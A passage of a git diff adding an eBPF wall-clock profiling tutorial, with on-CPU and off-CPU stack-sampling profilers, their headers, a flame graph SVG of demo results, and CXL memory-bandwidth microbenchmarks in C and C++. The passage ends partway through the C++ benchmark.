bpf_map__set_max_entries(obj->maps.stackmap, env.stack_storage_size); + + if (!probe_tp_btf("sched_switch")) + bpf_program__set_autoload(obj->progs.sched_switch, false); + else + bpf_program__set_autoload(obj->progs.sched_switch_raw, false); + + err = offcputime_bpf__load(obj); + if (err) { + fprintf(stderr, "failed to load BPF programs\n"); + goto cleanup; + } + + if (env.pids[0]) { + /* User pids_fd points to the tgids map in the BPF program */ + int pids_fd = bpf_map__fd(obj->maps.tgids); + for (i = 0; i < MAX_PID_NR && env.pids[i]; i++) { + if (bpf_map_update_elem(pids_fd, &(env.pids[i]), &val, BPF_ANY) != 0) { + fprintf(stderr, "failed to init pids map: %s\n", strerror(errno)); + goto cleanup; + } + } + } + if (env.tids[0]) { + /* User tids_fd points to the pids map in the BPF program */ + int tids_fd = bpf_map__fd(obj->maps.pids); + for (i = 0; i < MAX_TID_NR && env.tids[i]; i++) { + if (bpf_map_update_elem(tids_fd, &(env.tids[i]), &val, BPF_ANY) != 0) { + fprintf(stderr, "failed to init tids map: %s\n", strerror(errno)); + goto cleanup; + } + } + } + + err = offcputime_bpf__attach(obj); + if (err) { + fprintf(stderr, "failed to attach BPF programs\n"); + goto cleanup; + } + + symbolizer = blaze_symbolizer_new(); + if (!symbolizer) { + fprintf(stderr, "Failed to create a symbolizer\n"); + err = 1; + goto cleanup; + } + + signal(SIGINT, sig_handler); + + print_headers(); + + sleep(env.duration); + + /* Get traces from info map and print them to stdout */ + print_map(obj); + +cleanup: + blaze_symbolizer_free(symbolizer); + offcputime_bpf__destroy(obj); + + return err != 0; +} diff --git a/src/32-wallclock-profiler/offcputime.h b/src/32-wallclock-profiler/offcputime.h new file mode 100644 index 00000000..2bcd0d0e --- /dev/null +++ b/src/32-wallclock-profiler/offcputime.h @@ -0,0 +1,21 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#ifndef __OFFCPUTIME_H +#define __OFFCPUTIME_H + +#define TASK_COMM_LEN 16 +#define MAX_PID_NR 30 +#define MAX_TID_NR 30 + +struct key_t { + __u32 pid; + __u32 tgid; + int user_stack_id; + int kern_stack_id; +}; + +struct val_t { + __u64 delta; + char comm[TASK_COMM_LEN]; +}; + +#endif /* __OFFCPUTIME_H */ diff --git a/src/32-wallclock-profiler/oncputime.bpf.c b/src/32-wallclock-profiler/oncputime.bpf.c new file mode 100644 index 00000000..eb8af432 --- /dev/null +++ b/src/32-wallclock-profiler/oncputime.bpf.c @@ -0,0 +1,128 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* + * Copyright (c) 2022 LG Electronics + * + * Based on profile from BCC by Brendan Gregg and others. + * 28-Dec-2021 Eunseon Lee Created this. + */ +#include +#include +#include +#include +#include "oncputime.h" + +#define EEXIST 17 + +const volatile bool kernel_stacks_only = false; +const volatile bool user_stacks_only = false; +const volatile bool include_idle = false; +const volatile bool filter_by_pid = false; +const volatile bool filter_by_tid = false; +const volatile bool use_pidns = false; + +struct { + __uint(type, BPF_MAP_TYPE_STACK_TRACE); + __type(key, u32); +} stackmap SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, struct key_t); + __type(value, u64); + __uint(max_entries, MAX_ENTRIES); +} counts SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, u8); + __uint(max_entries, MAX_PID_NR); +} pids SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __type(key, u32); + __type(value, u8); + __uint(max_entries, MAX_TID_NR); +} tids SEC(".maps"); + + +static __always_inline void * +bpf_map_lookup_or_try_init(void *map, const void *key, const void *init) +{ + void *val; + /* bpf helper functions like bpf_map_update_elem() below normally return + * long, but using int instead of long to store the result is a workaround + * to avoid incorrectly evaluating err in cases where the following criteria + * is met: + * the architecture is 64-bit + * the helper function return type is long + * the helper function returns the value of a call to a bpf_map_ops func + * the bpf_map_ops function return type is int + * the compiler inlines the helper function + * the compiler does not sign extend the result of the bpf_map_ops func + * + * if this criteria is met, at best an error can only be checked as zero or + * non-zero. it will not be possible to check for a negative value or a + * specific error value. this is because the sign bit would have been stuck + * at the 32nd bit of a 64-bit long int. + */ + int err; + + val = bpf_map_lookup_elem(map, key); + if (val) + return val; + + err = bpf_map_update_elem(map, key, init, BPF_NOEXIST); + if (err && err != -EEXIST) + return 0; + + return bpf_map_lookup_elem(map, key); +} + +SEC("perf_event") +int do_perf_event(struct bpf_perf_event_data *ctx) +{ + u64 *valp; + static const u64 zero; + struct key_t key = {}; + u64 id; + u32 pid; + u32 tid; + struct bpf_pidns_info ns = {}; + + id = bpf_get_current_pid_tgid(); + pid = id >> 32; + tid = id; + + if (!include_idle && tid == 0) + return 0; + + if (filter_by_pid && !bpf_map_lookup_elem(&pids, &pid)) + return 0; + + if (filter_by_tid && !bpf_map_lookup_elem(&tids, &tid)) + return 0; + + key.pid = pid; + bpf_get_current_comm(&key.name, sizeof(key.name)); + + if (user_stacks_only) + key.kern_stack_id = -1; + else + key.kern_stack_id = bpf_get_stackid(&ctx->regs, &stackmap, 0); + + if (kernel_stacks_only) + key.user_stack_id = -1; + else + key.user_stack_id = bpf_get_stackid(&ctx->regs, &stackmap, + BPF_F_USER_STACK); + + valp = bpf_map_lookup_or_try_init(&counts, &key, &zero); + if (valp) + __sync_fetch_and_add(valp, 1); + + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; diff --git a/src/32-wallclock-profiler/oncputime.c b/src/32-wallclock-profiler/oncputime.c new file mode 100644 index 00000000..0bd958e2 --- /dev/null +++ b/src/32-wallclock-profiler/oncputime.c @@ -0,0 +1,414 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* + * profile Profile CPU usage by sampling stack traces at a timed interval. + * Copyright (c) 2022 LG Electronics + * + * Based on profile from BCC by Brendan Gregg and others. + * 28-Dec-2021 Eunseon Lee Created this. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "oncputime.h" +#include "oncputime.skel.h" +#include "blazesym.h" +#include "arg_parse.h" + +#define SYM_INFO_LEN 2048 + +/* + * -EFAULT in get_stackid normally means the stack-trace is not available, + * such as getting kernel stack trace in user mode + */ +#define STACK_ID_EFAULT(stack_id) (stack_id == -EFAULT) + +#define STACK_ID_ERR(stack_id) ((stack_id < 0) && !STACK_ID_EFAULT(stack_id)) + +/* hash collision (-EEXIST) suggests that stack map size may be too small */ +#define CHECK_STACK_COLLISION(ustack_id, kstack_id) \ + (kstack_id == -EEXIST || ustack_id == -EEXIST) + +#define MISSING_STACKS(ustack_id, kstack_id) \ + (!env.user_stacks_only && STACK_ID_ERR(kstack_id)) + (!env.kernel_stacks_only && STACK_ID_ERR(ustack_id)) + +/* This structure combines key_t and count which should be sorted together */ +struct key_ext_t { + struct key_t k; + __u64 v; +}; + +static blaze_symbolizer *symbolizer; + +static int nr_cpus; + +static int open_and_attach_perf_event(struct bpf_program *prog, + struct bpf_link *links[]) +{ + struct perf_event_attr attr = { + .type = PERF_TYPE_SOFTWARE, + .freq = env.freq, + .sample_freq = env.sample_freq, + .config = PERF_COUNT_SW_CPU_CLOCK, + }; + int i, fd; + + for (i = 0; i < nr_cpus; i++) { + if (env.cpu != -1 && env.cpu != i) + continue; + + fd = syscall(__NR_perf_event_open, &attr, -1, i, -1, 0); + if (fd < 0) { + /* Ignore CPU that is offline */ + if (errno == ENODEV) + continue; + + fprintf(stderr, "failed to init perf sampling: %s\n", + strerror(errno)); + return -1; + } + + links[i] = bpf_program__attach_perf_event(prog, fd); + if (!links[i]) { + fprintf(stderr, "failed to attach perf event on cpu: " + "%d\n", i); + links[i] = NULL; + close(fd); + return -1; + } + } + + return 0; +} + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + if (level == LIBBPF_DEBUG && !env.verbose) + return 0; + + return vfprintf(stderr, format, args); +} + +static void sig_handler(int sig) +{ +} + +static int cmp_counts(const void *a, const void *b) +{ + const __u64 x = ((struct key_ext_t *) a)->v; + const __u64 y = ((struct key_ext_t *) b)->v; + + /* descending order */ + return y - x; +} + +static int read_counts_map(int fd, struct key_ext_t *items, __u32 *count) +{ + struct key_t empty = {}; + struct key_t *lookup_key = ∅ + int i = 0; + int err; + + while (bpf_map_get_next_key(fd, lookup_key, &items[i].k) == 0) { + err = bpf_map_lookup_elem(fd, &items[i].k, &items[i].v); + if (err < 0) { + fprintf(stderr, "failed to lookup counts: %d\n", err); + return -err; + } + + if (items[i].v == 0) + continue; + + lookup_key = &items[i].k; + i++; + } + + *count = i; + return 0; +} + +static int print_count(struct key_t *event, __u64 count, int stack_map) +{ + unsigned long *ip; + int ret; + bool has_kernel_stack, has_user_stack; + + ip = calloc(env.perf_max_stack_depth, sizeof(unsigned long)); + if (!ip) { + fprintf(stderr, "failed to alloc ip\n"); + return -ENOMEM; + } + + has_kernel_stack = !STACK_ID_EFAULT(event->kern_stack_id); + has_user_stack = !STACK_ID_EFAULT(event->user_stack_id); + + if (!env.folded) { + /* multi-line stack output */ + /* Show kernel stack first */ + if (!env.user_stacks_only && has_kernel_stack) { + if (bpf_map_lookup_elem(stack_map, &event->kern_stack_id, ip) != 0) { + fprintf(stderr, " [Missed Kernel Stack]\n"); + } else { + show_stack_trace(symbolizer, (__u64 *)ip, env.perf_max_stack_depth, 0); + } + } + + if (env.delimiter && !env.user_stacks_only && !env.kernel_stacks_only && + has_user_stack && has_kernel_stack) { + printf(" --\n"); + } + + /* Then show user stack */ + if (!env.kernel_stacks_only && has_user_stack) { + if (bpf_map_lookup_elem(stack_map, &event->user_stack_id, ip) != 0) { + fprintf(stderr, " [Missed User Stack]\n"); + } else { + show_stack_trace(symbolizer, (__u64 *)ip, env.perf_max_stack_depth, event->pid); + } + } + + printf(" %-16s %s (%d)\n", "-", event->name, event->pid); + printf(" %lld\n", count); + } else { + /* folded stack output */ + printf("%s", event->name); + + /* Print user stack first for folded format */ + if (has_user_stack && !env.kernel_stacks_only) { + if (bpf_map_lookup_elem(stack_map, &event->user_stack_id, ip) != 0) { + printf(";[Missed User Stack]"); + } else { + printf(";"); + show_stack_trace_folded(symbolizer, (__u64 *)ip, env.perf_max_stack_depth, event->pid, ';', true); + } + } + + /* Then print kernel stack if it exists */ + if (has_kernel_stack && !env.user_stacks_only) { + /* Add delimiter between user and kernel stacks if needed */ + if (has_user_stack && env.delimiter && !env.kernel_stacks_only) + printf("-"); + + if (bpf_map_lookup_elem(stack_map, &event->kern_stack_id, ip) != 0) { + printf(";[Missed Kernel Stack]"); + } else { + printf(";"); + show_stack_trace_folded(symbolizer, (__u64 *)ip, env.perf_max_stack_depth, 0, ';', true); + } + } + + printf(" %lld\n", count); + } + + free(ip); + + return 0; +} + +static int print_counts(int counts_map, int stack_map) +{ + struct key_ext_t *counts; + struct key_t *event; + __u64 count; + __u32 nr_count = MAX_ENTRIES; + size_t nr_missing_stacks = 0; + bool has_collision = false; + int i, ret = 0; + + counts = calloc(MAX_ENTRIES, sizeof(struct key_ext_t)); + if (!counts) { + fprintf(stderr, "Out of memory\n"); + return -ENOMEM; + } + + ret = read_counts_map(counts_map, counts, &nr_count); + if (ret) + goto cleanup; + + qsort(counts, nr_count, sizeof(struct key_ext_t), cmp_counts); + + for (i = 0; i < nr_count; i++) { + event = &counts[i].k; + count = counts[i].v; + + print_count(event, count, stack_map); + + /* Add a newline between stack traces for better readability */ + if (!env.folded && i < nr_count - 1) + printf("\n"); + + /* handle stack id errors */ + nr_missing_stacks += MISSING_STACKS(event->user_stack_id, event->kern_stack_id); + has_collision = CHECK_STACK_COLLISION(event->user_stack_id, event->kern_stack_id); + } + + if (nr_missing_stacks > 0) { + fprintf(stderr, "WARNING: %zu stack traces could not be displayed.%s\n", + nr_missing_stacks, has_collision ? + " Consider increasing --stack-storage-size.":""); + } + +cleanup: + free(counts); + + return ret; +} + +static void print_headers() +{ + int i; + + if (env.folded) + return; // Don't print headers in folded format + + printf("Sampling at %d Hertz of", env.sample_freq); + + if (env.pids[0]) { + printf(" PID ["); + for (i = 0; i < MAX_PID_NR && env.pids[i]; i++) + printf("%d%s", env.pids[i], (i < MAX_PID_NR - 1 && env.pids[i + 1]) ? ", " : "]"); + } else if (env.tids[0]) { + printf(" TID ["); + for (i = 0; i < MAX_TID_NR && env.tids[i]; i++) + printf("%d%s", env.tids[i], (i < MAX_TID_NR - 1 && env.tids[i + 1]) ? ", " : "]"); + } else { + printf(" all threads"); + } + + if (env.user_stacks_only) + printf(" by user"); + else if (env.kernel_stacks_only) + printf(" by kernel"); + else + printf(" by user + kernel"); + + if (env.cpu != -1) + printf(" on CPU#%d", env.cpu); + + if (env.duration < INT_MAX) + printf(" for %d secs.\n", env.duration); + else + printf("... Hit Ctrl-C to end.\n"); +} + +int main(int argc, char **argv) +{ + struct bpf_link *links[MAX_CPU_NR] = {}; + struct oncputime_bpf *obj; + int pids_fd, tids_fd; + int err, i; + __u8 val = 0; + + err = parse_common_args(argc, argv, TOOL_PROFILE); + if (err) + return err; + + err = validate_common_args(); + if (err) + return err; + + libbpf_set_print(libbpf_print_fn); + + nr_cpus = libbpf_num_possible_cpus(); + if (nr_cpus < 0) { + printf("failed to get # of possible cpus: '%s'!\n", + strerror(-nr_cpus)); + return 1; + } + if (nr_cpus > MAX_CPU_NR) { + fprintf(stderr, "the number of cpu cores is too big, please " + "increase MAX_CPU_NR's value and recompile"); + return 1; + } + + symbolizer = blaze_symbolizer_new(); + if (!symbolizer) { + fprintf(stderr, "Failed to create a blazesym symbolizer\n"); + return 1; + } + + obj = oncputime_bpf__open(); + if (!obj) { + fprintf(stderr, "failed to open BPF object\n"); + blaze_symbolizer_free(symbolizer); + return 1; + } + + /* initialize global data (filtering options) */ + obj->rodata->user_stacks_only = env.user_stacks_only; + obj->rodata->kernel_stacks_only = env.kernel_stacks_only; + obj->rodata->include_idle = env.include_idle; + if (env.pids[0]) + obj->rodata->filter_by_pid = true; + else if (env.tids[0]) + obj->rodata->filter_by_tid = true; + + bpf_map__set_value_size(obj->maps.stackmap, + env.perf_max_stack_depth * sizeof(unsigned long)); + bpf_map__set_max_entries(obj->maps.stackmap, env.stack_storage_size); + + err = oncputime_bpf__load(obj); + if (err) { + fprintf(stderr, "failed to load BPF programs\n"); + goto cleanup; + } + + if (env.pids[0]) { + pids_fd = bpf_map__fd(obj->maps.pids); + for (i = 0; i < MAX_PID_NR && env.pids[i]; i++) { + if (bpf_map_update_elem(pids_fd, &(env.pids[i]), &val, BPF_ANY) != 0) { + fprintf(stderr, "failed to init pids map: %s\n", strerror(errno)); + goto cleanup; + } + } + } + else if (env.tids[0]) { + tids_fd = bpf_map__fd(obj->maps.tids); + for (i = 0; i < MAX_TID_NR && env.tids[i]; i++) { + if (bpf_map_update_elem(tids_fd, &(env.tids[i]), &val, BPF_ANY) != 0) { + fprintf(stderr, "failed to init tids map: %s\n", strerror(errno)); + goto cleanup; + } + } + } + + err = open_and_attach_perf_event(obj->progs.do_perf_event, links); + if (err) + goto cleanup; + + signal(SIGINT, sig_handler); + + if (!env.folded) + print_headers(); + + /* + * We'll get sleep interrupted when someone presses Ctrl-C. + * (which will be "handled" with noop by sig_handler) + */ + sleep(env.duration); + + print_counts(bpf_map__fd(obj->maps.counts), + bpf_map__fd(obj->maps.stackmap)); + +cleanup: + if (env.cpu != -1) + bpf_link__destroy(links[env.cpu]); + else { + for (i = 0; i < nr_cpus; i++) + bpf_link__destroy(links[i]); + } + + blaze_symbolizer_free(symbolizer); + oncputime_bpf__destroy(obj); + + return err != 0; +} diff --git a/src/32-wallclock-profiler/oncputime.h b/src/32-wallclock-profiler/oncputime.h new file mode 100644 index 00000000..c0877011 --- /dev/null +++ b/src/32-wallclock-profiler/oncputime.h @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +#ifndef __ONCPUTIME_H +#define __ONCPUTIME_H + +#define TASK_COMM_LEN 16 +#define MAX_CPU_NR 128 +#define MAX_ENTRIES 10240 +#define MAX_PID_NR 30 +#define MAX_TID_NR 30 + +struct key_t { + __u32 pid; + int user_stack_id; + int kern_stack_id; + char name[TASK_COMM_LEN]; +}; + +#endif /* __PROFILE_H */ diff --git a/src/32-wallclock-profiler/tests/demo_results.svg b/src/32-wallclock-profiler/tests/demo_results.svg new file mode 100644 index 00000000..34c78c51 --- /dev/null +++ b/src/32-wallclock-profiler/tests/demo_results.svg @@ -0,0 +1,550 @@ + + + + + + + + + + + + + + +Combined On-CPU and Off-CPU Profile + +Reset Zoom +Search +ic + + + +bpf_trace_run4 (465 samples, 31.81%) +bpf_trace_run4 + + +bpf_prog_8959afe9a7823bdd_handle_sched_switch (465 samples, 31.81%) +bpf_prog_8959afe9a7823bdd_handle_sched_switch + + +x64_sys_call (465 samples, 31.81%) +x64_sys_call + + +bpf_prog_4e3e014a51a65e79_sched_switch (465 samples, 31.81%) +bpf_prog_4e3e014a51a65e79_sched_switch + + +schedule (465 samples, 31.81%) +schedule + + +__bpf_trace_sched_switch (465 samples, 31.81%) +__bpf_trace_sched_switch + + +irqentry_exit_to_user_mode (1 samples, 0.07%) + + + +entry_SYSCALL_64_after_hwframe (465 samples, 31.81%) +entry_SYSCALL_64_after_hwframe + + +hrtimer_nanosleep (465 samples, 31.81%) +hrtimer_nanosleep + + +do_nanosleep (465 samples, 31.81%) +do_nanosleep + + +__schedule (1 samples, 0.07%) + + + +do_syscall_64 (465 samples, 31.81%) +do_syscall_64 + + +common_nsleep (465 samples, 31.81%) +common_nsleep + + +sysvec_apic_timer_interrupt (1 samples, 0.07%) + + + +all (1,462 samples, 100%) + + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.07%) + + + +cpu_work_[c] (996 samples, 68.13%) +cpu_work_[c] + + +__libc_init_first (1,462 samples, 100.00%) +__libc_init_first + + +cpu_work (1 samples, 0.07%) + + + +finish_task_switch.isra.0_[c] (1 samples, 0.07%) + + + +clock_nanosleep (465 samples, 31.81%) +clock_nanosleep + + +__schedule (465 samples, 31.81%) +__schedule + + +__traceiter_sched_switch (465 samples, 31.81%) +__traceiter_sched_switch + + +irqentry_exit (1 samples, 0.07%) + + + +test_work (1,462 samples, 100.00%) +test_work + + +__x64_sys_clock_nanosleep (465 samples, 31.81%) +__x64_sys_clock_nanosleep + + +main (1,462 samples, 100.00%) +main + + +bpf_prog_8959afe9a7823bdd_handle_sched_switch_[o] (465 samples, 31.81%) +bpf_prog_8959afe9a7823bdd_handle_sched_switch_[o] + + +schedule (1 samples, 0.07%) + + + + diff --git a/src/32-wallclock-profiler/tests/double_bandwidth.c b/src/32-wallclock-profiler/tests/double_bandwidth.c new file mode 100644 index 00000000..e0b7a116 --- /dev/null +++ b/src/32-wallclock-profiler/tests/double_bandwidth.c @@ -0,0 +1,203 @@ +/** + * double_bandwidth.c - CXL double bandwidth microbenchmark + * + * This microbenchmark measures the bandwidth of CXL memory + * using reader and writer threads. + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct { + size_t bytes_processed; + size_t operations; +} ThreadStats; + +typedef struct { + void* buffer; + size_t buffer_size; + size_t block_size; + atomic_bool* stop_flag; + ThreadStats* stats; +} ThreadArgs; + +void* reader_thread(void* arg) { + ThreadArgs* args = (ThreadArgs*)arg; + char* local_buffer = (char*)malloc(args->block_size); + if (!local_buffer) return NULL; + + size_t offset = 0; + + while (!atomic_load(args->stop_flag)) { + // Read block from the buffer + memcpy(local_buffer, (char*)args->buffer + offset, args->block_size); + + // Move to next block with wrap-around + offset = (offset + args->block_size) % (args->buffer_size - args->block_size); + + // Update statistics + args->stats->bytes_processed += args->block_size; + args->stats->operations++; + } + + free(local_buffer); + return NULL; +} + +void* writer_thread(void* arg) { + ThreadArgs* args = (ThreadArgs*)arg; + char* local_buffer = (char*)malloc(args->block_size); + if (!local_buffer) return NULL; + + // Fill with 'W' for writers + memset(local_buffer, 'W', args->block_size); + size_t offset = 0; + + while (!atomic_load(args->stop_flag)) { + // Write block to the buffer + memcpy((char*)args->buffer + offset, local_buffer, args->block_size); + // for (size_t i = 0; i < args->block_size; i++) { + // ((char*)args->buffer)[offset + i] = local_buffer[i]; + // } + + // Move to next block with wrap-around + offset = (offset + args->block_size) % (args->buffer_size - args->block_size); + + // Update statistics + args->stats->bytes_processed += args->block_size; + args->stats->operations++; + } + + free(local_buffer); + return NULL; +} + +int main() { + // Basic configuration + size_t buffer_size = 1 * 1024 * 1024 * 1024UL; // 1GB + size_t block_size = 4096; // 4KB + int duration = 100; // 10 seconds + int num_readers = 2; // 2 reader threads + int num_writers = 2; // 2 writer threads + int total_threads = num_readers + num_writers; + + printf("=== CXL Double Bandwidth Microbenchmark ===\n"); + printf("Buffer size: %zu bytes\n", buffer_size); + printf("Block size: %zu bytes\n", block_size); + printf("Duration: %d seconds\n", duration); + printf("Reader threads: %d\n", num_readers); + printf("Writer threads: %d\n", num_writers); + printf("\nStarting benchmark...\n"); + + // Allocate memory buffer + void* buffer = aligned_alloc(4096, buffer_size); + if (!buffer) { + fprintf(stderr, "Failed to allocate memory\n"); + return 1; + } + + // Initialize buffer with some data + memset(buffer, 'A', buffer_size); + + // Prepare threads and resources + pthread_t* threads = (pthread_t*)malloc(total_threads * sizeof(pthread_t)); + ThreadStats* thread_stats = (ThreadStats*)calloc(total_threads, sizeof(ThreadStats)); + ThreadArgs* thread_args = (ThreadArgs*)malloc(total_threads * sizeof(ThreadArgs)); + atomic_bool stop_flag = ATOMIC_VAR_INIT(0); + + if (!threads || !thread_stats || !thread_args) { + fprintf(stderr, "Failed to allocate thread resources\n"); + free(buffer); + return 1; + } + + // Initialize thread arguments + for (int i = 0; i < total_threads; i++) { + thread_args[i].buffer = buffer; + thread_args[i].buffer_size = buffer_size; + thread_args[i].block_size = block_size; + thread_args[i].stop_flag = &stop_flag; + thread_args[i].stats = &thread_stats[i]; + } + + // Create reader threads + for (int i = 0; i < num_readers; i++) { + if (pthread_create(&threads[i], NULL, reader_thread, &thread_args[i]) != 0) { + fprintf(stderr, "Failed to create reader thread %d\n", i); + return 1; + } + } + + // Create writer threads + for (int i = 0; i < num_writers; i++) { + if (pthread_create(&threads[num_readers + i], NULL, writer_thread, &thread_args[num_readers + i]) != 0) { + fprintf(stderr, "Failed to create writer thread %d\n", i); + return 1; + } + } + + // Run the benchmark for the specified duration + struct timespec start_time, end_time; + clock_gettime(CLOCK_MONOTONIC, &start_time); + sleep(duration); + atomic_store(&stop_flag, 1); + clock_gettime(CLOCK_MONOTONIC, &end_time); + + // Wait for all threads to finish + for (int i = 0; i < total_threads; i++) { + pthread_join(threads[i], NULL); + } + + // Calculate elapsed time + double elapsed_seconds = (end_time.tv_sec - start_time.tv_sec) + + (end_time.tv_nsec - start_time.tv_nsec) / 1e9; + + // Calculate total stats + size_t total_read_bytes = 0; + size_t total_read_ops = 0; + size_t total_write_bytes = 0; + size_t total_write_ops = 0; + + for (int i = 0; i < num_readers; i++) { + total_read_bytes += thread_stats[i].bytes_processed; + total_read_ops += thread_stats[i].operations; + } + + for (int i = 0; i < num_writers; i++) { + total_write_bytes += thread_stats[num_readers + i].bytes_processed; + total_write_ops += thread_stats[num_readers + i].operations; + } + + // Print results + printf("\n=== Results ===\n"); + printf("Test duration: %.2f seconds\n", elapsed_seconds); + + double read_bandwidth_mbps = (total_read_bytes / (1024.0 * 1024.0)) / elapsed_seconds; + double read_iops = total_read_ops / elapsed_seconds; + printf("Read bandwidth: %.2f MB/s\n", read_bandwidth_mbps); + printf("Read IOPS: %.2f ops/s\n", read_iops); + + double write_bandwidth_mbps = (total_write_bytes / (1024.0 * 1024.0)) / elapsed_seconds; + double write_iops = total_write_ops / elapsed_seconds; + printf("Write bandwidth: %.2f MB/s\n", write_bandwidth_mbps); + printf("Write IOPS: %.2f ops/s\n", write_iops); + + double total_bandwidth_mbps = ((total_read_bytes + total_write_bytes) / (1024.0 * 1024.0)) / elapsed_seconds; + double total_iops = (total_read_ops + total_write_ops) / elapsed_seconds; + printf("Total bandwidth: %.2f MB/s\n", total_bandwidth_mbps); + printf("Total IOPS: %.2f ops/s\n", total_iops); + + // Clean up resources + free(threads); + free(thread_stats); + free(thread_args); + free(buffer); + + return 0; +} \ No newline at end of file diff --git a/src/32-wallclock-profiler/tests/double_bandwidth.cpp b/src/32-wallclock-profiler/tests/double_bandwidth.cpp new file mode 100644 index 00000000..4b0677d6 --- /dev/null +++ b/src/32-wallclock-profiler/tests/double_bandwidth.cpp @@ -0,0 +1,414 @@ +/** + * double_bandwidth.cpp - CXL double bandwidth microbenchmark + * + * This microbenchmark measures the bandwidth of CXL by adjusting + * the ratio of readers to writers, simulating bidirectional traffic. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Default parameters +constexpr size_t DEFAULT_BUFFER_SIZE = 1 * 1024 * 1024 * 1024UL; // 1GB +constexpr size_t DEFAULT_BLOCK_SIZE = 4096; // 4KB +constexpr int DEFAULT_DURATION = 1000; // seconds +constexpr int DEFAULT_NUM_THREADS = 20; // total threads +constexpr float DEFAULT_READ_RATIO = 0.5; // 50% readers, 50% writers + +struct ThreadStats { + size_t bytes_processed = 0; + size_t operations = 0; +}; + +struct BenchmarkConfig { + size_t buffer_size = DEFAULT_BUFFER_SIZE; + size_t block_size = DEFAULT_BLOCK_SIZE; + int duration = DEFAULT_DURATION; + int num_threads = DEFAULT_NUM_THREADS; + float read_ratio = DEFAULT_READ_RATIO; + std::string device_path; + bool use_mmap = false; + bool is_cxl_mem = false; +}; + +void print_usage(const char* prog_name) { + std::cerr << "Usage: " << prog_name << " [OPTIONS]\n" + << "Options:\n" + << " -b, --buffer-size=SIZE Total buffer size in bytes (default: 1GB)\n" + << " -s, --block-size=SIZE Block size for read/write operations (default: 4KB)\n" + << " -t, --threads=NUM Total number of threads (default: 4)\n" + << " -d, --duration=SECONDS Test duration in seconds (default: 10)\n" + << " -r, --read-ratio=RATIO Ratio of readers (0.0-1.0, default: 0.5)\n" + << " -D, --device=PATH CXL device path (if not specified, memory is used)\n" + << " -m, --mmap Use mmap instead of read/write syscalls\n" + << " -c, --cxl-mem Indicate the device is CXL memory\n" + << " -h, --help Show this help message\n"; +} + +BenchmarkConfig parse_args(int argc, char* argv[]) { + BenchmarkConfig config; + + static struct option long_options[] = { + {"buffer-size", required_argument, 0, 'b'}, + {"block-size", required_argument, 0, 's'}, + {"threads", required_argument, 0, 't'}, + {"duration", required_argument, 0, 'd'}, + {"read-ratio", required_argument, 0, 'r'}, + {"device", required_argument, 0, 'D'}, + {"mmap", no_argument, 0, 'm'}, + {"cxl-mem", no_argument, 0, 'c'}, + {"help", no_argument, 0, 'h'}, + {0, 0, 0, 0} + }; + + int opt, option_index = 0; + while ((opt = getopt_long(argc, argv, "b:s:t:d:r:D:mch", long_options, &option_index)) != -1) { + switch (opt) { + case 'b': + config.buffer_size = std::stoull(optarg); + break; + case 's': + config.block_size = std::stoull(optarg); + break; + case 't': + config.num_threads = std::stoi(optarg); + break; + case 'd': + config.duration = std::stoi(optarg); + break; + case 'r': + config.read_ratio = std::stof(optarg); + if (config.read_ratio < 0.0 || config.read_ratio > 1.0) { + std::cerr << "Read ratio must be between 0.0 and 1.0\n"; + exit(1); + } + break; + case 'D': + config.device_path = optarg; + break; + case 'm': + config.use_mmap = true; + break; + case 'c': + config.is_cxl_mem = true; + break; + case 'h': + print_usage(argv[0]); + exit(0); + default: + print_usage(argv[0]); + exit(1); + } + } + + return config; +} + +void reader_thread(void* buffer, size_t buffer_size, size_t block_size, + std::atomic& stop_flag, ThreadStats& stats) { + std::vector local_buffer(block_size); + size_t offset = 0; + + while (!stop_flag.load(std::memory_order_relaxed)) { + // Read block from the buffer + std::memcpy(local_buffer.data(), static_cast(buffer) + offset, block_size); + + // Move to next block with wrap-around + offset = (offset + block_size) % (buffer_size - block_size); + + // Update statistics + stats.bytes_processed += block_size; + stats.operations++; + } +} + +void writer_thread(void* buffer, size_t buffer_size, size_t block_size, + std::atomic& stop_flag, ThreadStats& stats) { + std::vector local_buffer(block_size, 'W'); // Fill with 'W' for writers + size_t offset = 0; + + while (!stop_flag.load(std::memory_order_relaxed)) { + // Write block to the buffer + std::memcpy(static_cast(buffer) + offset, local_buffer.data(), block_size); + + // Move to next block with wrap-around + offset = (offset + block_size) % (buffer_size - block_size); + + // Update statistics + stats.bytes_processed += block_size; + stats.operations++; + } +} + +void device_reader_thread(int fd, size_t file_size, size_t block_size, + std::atomic& stop_flag, ThreadStats& stats) { + std::vector local_buffer(block_size); + size_t offset = 0; + + while (!stop_flag.load(std::memory_order_relaxed)) { + // Seek to the position + lseek(fd, offset, SEEK_SET); + + // Read block from the device + ssize_t bytes_read = read(fd, local_buffer.data(), block_size); + if (bytes_read <= 0) { + std::cerr << "Error reading from device: " << strerror(errno) << std::endl; + break; + } + + // Move to next block with wrap-around + offset = (offset + block_size) % (file_size - block_size); + + // Update statistics + stats.bytes_processed += bytes_read; + stats.operations++; + } +} + +void device_writer_thread(int fd, size_t file_size, size_t block_size, + std::atomic& stop_flag, ThreadStats& stats) { + std::vector local_buffer(block_size, 'W'); // Fill with 'W' for writers + size_t offset = 0; + + while (!stop_flag.load(std::memory_order_relaxed)) { + // Seek to the position + lseek(fd, offset, SEEK_SET); + + // Write block to the device + ssize_t bytes_written = write(fd, local_buffer.data(), block_size); + if (bytes_written <= 0) { + std::cerr << "Error writing to device: " << strerror(errno) << std::endl; + break; + } + + // Move to next block with wrap-around + offset = (offset + block_size) % (file_size - block_size); + + // Update statistics + stats.bytes_processed += bytes_written; + stats.operations++; + } +} + +void mmap_reader_thread(void* mapped_area, size_t file_size, size_t block_size, + std::atomic& stop_flag, 